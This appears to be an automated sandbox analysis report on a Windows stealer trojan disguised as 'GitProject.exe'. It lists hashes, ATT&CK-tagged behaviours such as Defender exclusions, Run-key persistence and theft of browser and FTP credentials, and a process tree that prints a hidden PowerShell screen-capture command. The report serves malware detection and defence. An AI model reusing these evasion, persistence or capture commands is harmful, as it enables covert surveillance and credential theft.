def580734d7194d862e5dac7d48980c392ba93ce5bf85c37f664666b61f83899

Analysis

max time kernel
299s
max time network
286s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/07/2026, 03:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
GitProject.exe
Size 80.9MB
Sample260704-ejhp8sax2w
SHA256 def580734d7194d862e5dac7d48980c392ba93ce5bf85c37f664666b61f83899
MD5 6bbf04841f5907661a1d85a386a256ec
SHA1 b74eebc3f8f079f2f92df1292655a715ec0d3dff
SHA512 57f6c3b5ff411fee896f5c77eb6825413335ecd6a2fa4b0c0164341c550ae5a07d7a8c26e26e9a5be1abf39a2c71351e6ce9497f4d38976812c8e64545244997
SSDEEP 1572864:aLdkJiqH3gzrsND0qzt4j0DFIABZI48z2Fi/S8JKBUmy+N5Xe6EfB7G7:a2SzrsNDjzqyaABZVPArg/bXeB7G7
TLSH
T1101833C847568A26C1DF5FFC122E17E29B1B4DB06739D0EF07678431F9A946AC68C24B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution persistence spyware stealer trojan

Malware Config

Signatures

Suspicious use of NtCreateProcessExOtherParentProcess 25 IoCs

description	pid	Process	procid_target
PID 1640 created 1144	1640	component_1.exe	183
PID 1640 created 3156	1640	component_1.exe	184
PID 1640 created 2796	1640	component_1.exe	187
PID 1640 created 2984	1640	component_1.exe	188
PID 1640 created 4856	1640	component_1.exe	189
PID 1640 created 848	1640	component_1.exe	191
PID 1640 created 2948	1640	component_1.exe	192
PID 1640 created 1056	1640	component_1.exe	193
PID 1640 created 1144	1640	component_1.exe	183
PID 1640 created 1144	1640	component_1.exe	183
PID 1640 created 2796	1640	component_1.exe	187
PID 1640 created 2796	1640	component_1.exe	187
PID 1640 created 6068	1640	component_1.exe	226
PID 1640 created 5856	1640	component_1.exe	227
PID 1640 created 5788	1640	component_1.exe	228
PID 1640 created 6212	1640	component_1.exe	229
PID 1640 created 5648	1640	component_1.exe	230
PID 1640 created 6084	1640	component_1.exe	232
PID 1640 created 5404	1640	component_1.exe	235
PID 1640 created 6964	1640	component_1.exe	236
PID 1640 created 6572	1640	component_1.exe	237
PID 1640 created 6068	1640	component_1.exe	226
PID 1640 created 6068	1640	component_1.exe	226
PID 1640 created 6212	1640	component_1.exe	229
PID 1640 created 6212	1640	component_1.exe	229

Windows security bypass 2 TTPs 18 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\component_2.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.tmp = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Setup\cache = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\component_1.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3444	powershell.exe
3420	powershell.exe
4184	powershell.exe
1632	powershell.exe
7024	powershell.exe
3420	powershell.exe
1632	powershell.exe
6416	powershell.exe
7000	powershell.exe
6404	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Repair.lnk	component_2.exe

Executes dropped EXE 18 IoCs

pid	Process
3180	Installer.exe
4968	Installer.exe
4048	Installer.exe
4992	Installer.exe
1640	component_1.exe
2976	component_1.exe
3652	component_1.exe
4568	component_1.exe
4068	component_1.exe
4728	component_1.exe
5864	component_2.exe
6444	component_2.exe
5832	component_2.exe
6652	component_2.exe
6656	component_2.exe
6844	component_2.exe
6552	CoreWorker_cjnmQmKTOMnCzez.exe
4392	CoreWorker_cjnmQmKTOMnCzez.exe

Loads dropped DLL 13 IoCs

pid	Process
3504	GitProject.exe
3504	GitProject.exe
3504	GitProject.exe
3180	Installer.exe
4968	Installer.exe
4968	Installer.exe
4968	Installer.exe
4968	Installer.exe
4968	Installer.exe
4968	Installer.exe
4968	Installer.exe
4048	Installer.exe
4992	Installer.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 2 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
3444	cmd.exe
4180	cmd.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

System Binary Proxy Execution: Rundll32 1 TTPs 4 IoCs

Abuse Rundll32 to proxy execution of malicious code.

defense_evasion

Rundll32

T1218.011

pid	Process
7060	cmd.exe
6772	rundll32.exe
4232	cmd.exe
2972	rundll32.exe

Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000\Software\Microsoft\Windows\CurrentVersion\Run\CoreWorker_cjnmQmKTOMnCzez = "C:\\Users\\Admin\\AppData\\Local\\MpDefenderCoreFolder\\CoreWorker_cjnmQmKTOMnCzez.exe"	component_2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000\Software\Microsoft\Windows\CurrentVersion\Run\CoreWorker_cjnmQmKTOMnCzez = "C:\\Users\\Admin\\AppData\\Local\\MpDefenderCoreFolder\\CoreWorker_cjnmQmKTOMnCzez.exe"	CoreWorker_cjnmQmKTOMnCzez.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\CoreWorker_cjnmQmKTOMnCzez = "C:\\Users\\Admin\\AppData\\Local\\MpDefenderCoreFolder\\CoreWorker_cjnmQmKTOMnCzez.exe"	CoreWorker_cjnmQmKTOMnCzez.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Hide Artifacts: Hidden Window 1 TTPs 5 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
4180	cmd.exe
5384	cmd.exe
3276	cmd.exe
3444	cmd.exe
4244	cmd.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	api.ipify.org
8	api.ipify.org
16	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of NtSetInformationThreadHideFromDebugger 16 IoCs

pid	Process
1640	component_1.exe
2976	component_1.exe
3652	component_1.exe
4568	component_1.exe
4068	component_1.exe
5864	component_2.exe
4728	component_1.exe
5864	component_2.exe
6444	component_2.exe
5832	component_2.exe
6652	component_2.exe
5864	component_2.exe
5864	component_2.exe
6656	component_2.exe
6844	component_2.exe
6656	component_2.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File opened for modification	C:\Windows\SystemTemp	Installer.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
3444	cmd.exe
4180	cmd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GitProject.exe

System Time Discovery 1 TTPs 4 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2796	chrome.exe
6212	msedge.exe
2748	chrome.exe
6860	msedge.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	component_2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	component_1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	component_1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	component_2.exe

Enumerates system info in registry 2 TTPs 12 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134276113166192114"	chrome.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3444	powershell.exe
3444	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
3420	powershell.exe
3420	powershell.exe
1640	component_1.exe
1640	component_1.exe
1640	component_1.exe
1640	component_1.exe
1640	component_1.exe
1640	component_1.exe
2976	component_1.exe
2976	component_1.exe
2976	component_1.exe
2976	component_1.exe
2976	component_1.exe
2976	component_1.exe
3652	component_1.exe
3652	component_1.exe
3652	component_1.exe
3652	component_1.exe
3652	component_1.exe
3652	component_1.exe
4568	component_1.exe
4568	component_1.exe
4568	component_1.exe
4568	component_1.exe
4568	component_1.exe
4568	component_1.exe
4184	powershell.exe
1640	component_1.exe
4184	powershell.exe
4068	component_1.exe
4068	component_1.exe
4068	component_1.exe
4068	component_1.exe
4068	component_1.exe
4068	component_1.exe
1640	component_1.exe
1640	component_1.exe
1640	component_1.exe
1640	component_1.exe
4728	component_1.exe
4728	component_1.exe
4728	component_1.exe
4728	component_1.exe
4728	component_1.exe
4728	component_1.exe
1144	chrome.exe
1144	chrome.exe
1632	powershell.exe
1632	powershell.exe
1632	powershell.exe
1640	component_1.exe
1640	component_1.exe
1640	component_1.exe
1640	component_1.exe
1640	component_1.exe
1640	component_1.exe
5864	component_2.exe
5864	component_2.exe
5864	component_2.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 26 IoCs

pid	Process
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
6068	msedge.exe
6068	msedge.exe
6068	msedge.exe
6068	msedge.exe
6068	msedge.exe
6068	msedge.exe
2196	chrome.exe
2196	chrome.exe
2196	chrome.exe
2196	chrome.exe
2196	chrome.exe
3304	msedge.exe
3304	msedge.exe
3304	msedge.exe
3304	msedge.exe
3304	msedge.exe
3304	msedge.exe
3304	msedge.exe
3304	msedge.exe
3304	msedge.exe
3304	msedge.exe
3304	msedge.exe
3304	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	3504	GitProject.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeDebugPrivilege	3444	powershell.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeDebugPrivilege	3420	powershell.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeDebugPrivilege	4184	powershell.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeDebugPrivilege	1640	component_1.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeShutdownPrivilege	1144	chrome.exe
Token: SeCreatePagefilePrivilege	1144	chrome.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeShutdownPrivilege	1144	chrome.exe
Token: SeCreatePagefilePrivilege	1144	chrome.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeShutdownPrivilege	1144	chrome.exe
Token: SeCreatePagefilePrivilege	1144	chrome.exe
Token: SeShutdownPrivilege	3180	Installer.exe
Token: SeCreatePagefilePrivilege	3180	Installer.exe
Token: SeShutdownPrivilege	1144	chrome.exe
Token: SeCreatePagefilePrivilege	1144	chrome.exe
Token: SeShutdownPrivilege	3180	Installer.exe

Suspicious use of FindShellTrayWindow 40 IoCs

pid	Process
3180	Installer.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe
6068	msedge.exe
6068	msedge.exe
2196	chrome.exe
2196	chrome.exe
3304	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3504 wrote to memory of 3180	3504	GitProject.exe	82
PID 3180 wrote to memory of 3676	3180	Installer.exe	84
PID 3180 wrote to memory of 4968	3180	Installer.exe	83
PID 3676 wrote to memory of 2144	3676	cmd.exe	86
PID 2144 wrote to memory of 1776	2144	net.exe	87
PID 3180 wrote to memory of 4048	3180	Installer.exe	88
PID 3180 wrote to memory of 4992	3180	Installer.exe	89
PID 3180 wrote to memory of 3276	3180	Installer.exe	90
PID 3276 wrote to memory of 3444	3276	cmd.exe	92
PID 3180 wrote to memory of 3648	3180	Installer.exe	93
PID 3648 wrote to memory of 3136	3648	cmd.exe	95
PID 3136 wrote to memory of 4472	3136	net.exe	96
PID 3180 wrote to memory of 2988	3180	Installer.exe	97
PID 3180 wrote to memory of 4976	3180	Installer.exe	98
PID 3180 wrote to memory of 2052	3180	Installer.exe	99
PID 3180 wrote to memory of 800	3180	Installer.exe	100
PID 3180 wrote to memory of 4008	3180	Installer.exe	101
PID 3180 wrote to memory of 4924	3180	Installer.exe	102
PID 3180 wrote to memory of 3680	3180	Installer.exe	103
PID 3180 wrote to memory of 652	3180	Installer.exe	104
PID 3180 wrote to memory of 4532	3180	Installer.exe	105
PID 3180 wrote to memory of 4936	3180	Installer.exe	106
PID 3180 wrote to memory of 4600	3180	Installer.exe	108
PID 3180 wrote to memory of 4776	3180	Installer.exe	109
PID 3180 wrote to memory of 4556	3180	Installer.exe	110
PID 3180 wrote to memory of 1560	3180	Installer.exe	111
PID 3180 wrote to memory of 3768	3180	Installer.exe	112
PID 3180 wrote to memory of 2476	3180	Installer.exe	114
PID 2052 wrote to memory of 4420	2052	cmd.exe	129
PID 652 wrote to memory of 1564	652	cmd.exe	130
PID 1560 wrote to memory of 2104	1560	cmd.exe	132
PID 4600 wrote to memory of 2888	4600	cmd.exe	131
PID 4924 wrote to memory of 3244	4924	cmd.exe	134
PID 4008 wrote to memory of 1168	4008	cmd.exe	136
PID 4936 wrote to memory of 1044	4936	cmd.exe	138
PID 2988 wrote to memory of 4628	2988	cmd.exe	137
PID 4776 wrote to memory of 2680	4776	cmd.exe	139
PID 3768 wrote to memory of 4176	3768	cmd.exe	141
PID 2476 wrote to memory of 4708	2476	cmd.exe	142
PID 4976 wrote to memory of 1176	4976	cmd.exe	133
PID 3680 wrote to memory of 2256	3680	cmd.exe	135
PID 4532 wrote to memory of 1592	4532	cmd.exe	143
PID 4556 wrote to memory of 4728	4556	cmd.exe	140
PID 800 wrote to memory of 1756	800	cmd.exe	144
PID 3180 wrote to memory of 2152	3180	Installer.exe	145
PID 2152 wrote to memory of 2008	2152	cmd.exe	147
PID 3180 wrote to memory of 896	3180	Installer.exe	148
PID 896 wrote to memory of 1480	896	cmd.exe	150
PID 3180 wrote to memory of 1964	3180	Installer.exe	151
PID 1964 wrote to memory of 3260	1964	cmd.exe	153
PID 3180 wrote to memory of 4260	3180	Installer.exe	154
PID 4260 wrote to memory of 3156	4260	cmd.exe	156
PID 3180 wrote to memory of 1264	3180	Installer.exe	157
PID 1264 wrote to memory of 3308	1264	cmd.exe	159
PID 3180 wrote to memory of 3444	3180	Installer.exe	160
PID 3444 wrote to memory of 3420	3444	cmd.exe	162
PID 3180 wrote to memory of 1640	3180	Installer.exe	163
PID 3180 wrote to memory of 4668	3180	Installer.exe	164
PID 4668 wrote to memory of 4200	4668	cmd.exe	166
PID 4200 wrote to memory of 2976	4200	cmd.exe	167
PID 3180 wrote to memory of 3928	3180	Installer.exe	168
PID 3928 wrote to memory of 3440	3928	cmd.exe	170
PID 780 wrote to memory of 3652	780	explorer.exe	172
PID 3180 wrote to memory of 4232	3180	Installer.exe	173

C:\Users\Admin\AppData\Local\Temp\GitProject.exe
"C:\Users\Admin\AppData\Local\Temp\GitProject.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3504
- C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe
  C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3180
- - C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1652 --field-trial-handle=1656,i,15172323932859034708,12947209870379701178,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3676
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2144
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:1776
- - C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=2012 --field-trial-handle=1656,i,15172323932859034708,12947209870379701178,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4048
- - C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --app-path="C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\resources\app" --enable-sandbox --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2628 --field-trial-handle=1656,i,15172323932859034708,12947209870379701178,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783137681975.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    - Suspicious use of WriteProcessMemory
    PID:3276
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783137681975.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3648
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3136
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:4472
- - C:\Windows\system32\cmd.exe
